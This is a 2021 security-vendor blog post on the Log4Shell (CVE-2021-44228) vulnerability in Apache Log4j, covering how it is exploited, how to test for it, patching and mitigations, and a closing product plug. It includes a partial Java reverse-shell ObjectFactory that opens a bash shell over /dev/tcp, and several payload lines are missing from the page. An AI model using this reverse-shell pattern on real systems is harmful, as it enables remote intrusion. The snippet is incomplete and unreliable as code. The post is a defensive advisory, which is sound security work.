Skip to content

Published on: 10 Dec 2021

How to Address the Critical Log4Shell/LogJam Vulnerability

Yordan Popov, Security Engineer

Yordan Popov, Security Engineer

On the 9th of December 2021 a zero-day exploit, affecting the popular Аpache Log4j utility was made public CVE-2021-44228.

This vulnerability is actively being exploited and anyone using Log4j should take immediate actions to remediate this critical to security component.

In this article we will go over the vulnerability and it’s remediations.


  • CVE-2021-44228 impacts Apache Log4J Java library
  • Easy to exploit, high impact, achieves RCE (Remote code execution) with system-level permissions
  • Patch Log4J to version >=2.15.0

What is Log4j?

Java-based library used for logging in big percentage of the Java applications.
According to Maven Central Repository Log4j is used in 16,601 open-source projects

Some of the confirmed vulnerable organisations / components are:

  1. Apple
  2. Minecraft
  3. Steam
  4. Twitter
  5. Elasticsearch

And many others.

For additional information on the confirmed vulnerable services.


The following payload would exploit this vulnerability:


Using the JNDI interface, log4j will download a .class file and deserializes it in unsafe manner.

Utilizing the built-in feature of Java – static initializer (code in a static initializer block is executed by the virtual machine when the class is loaded.) a RCE can be achieved. Of course there are other ways to achieve code execution, that’s why patching is very important.

If the JVM property


is set to true, other possibility would be utilizing LDAP ObjectFactory.

LDAP ObjectFactory lets the LDAP response tell where to get the bytecode of another ObjectFactory.

public class ReverseShell implements ObjectFactory {
public Object getObjectInstance (Object obj, 
Name name,
Context nameCtx,
Hashtable<?, ?> environment) 
throws Exception {
Runtime r = Runtime.getRuntime();
p = r.exec(getShellPayload());
return null;
public String getShellPayload(){
return new StringBuilder()
.append("/bin/bash -c \'")
.append("exec 5<>/dev/tcp/;")
.append("cat <&5 | ")
.append("while read line; ")
.append("do $line 2>&5 >&5; ")

According to LunaSec JDK version greater than 6u211, 7u201, 8u191, and 11.0.1 do not seem to be affected by the above LDAP attack, since


is set to false , however the other method is working.


Logging untrusted user input, can result in Remote Code Execution if a vulnerable version of Log4j is used. The impact is critical, since it’s relatively easy to exploit (just a single line which is logged!) and it achieves system-level privileges.

As a result CVE-2021-44228 is rated perfect 10/10 CVSS Score.

How to test

There are multiple ways to detect if you are vulnerable.

Check logs – someone might have exploited it already!


something like:


Place it everywhere where user input is provided and might be logged (search forms, profile data, HTTP Headers, … etc)

If an email is received that a DNS lookup is performed then you are vulnerable!


Best way to mitigate that is by patching to a version >=2.15.0

However keep in mind that you will not be able to patch the vulnerability if a vulnerable version of Log4j is used in a dependency which you are importing, for this reason set


to true (Log4J >=2.10) and monitor the logs, also add YARA rules if possible.

Another mitigation is completely removing the JndiLookup class from the classpath, but that my affect the usability of the application.

CyberSec Risk Manager – CsRM

With our platform CsRM we were able to detect the Log4j vulnerability within less than 16h hours of it being publicly available, allowing our customers to take immediate actions to their affected services.

The CsRM platform monitors your vulnerabilities, risk & compliance in all Open Source Code Components, Infrastructure and Cloud, empowering you to take accurate and informed decisions for your business at any time.

For more information check out – CsRM


Share via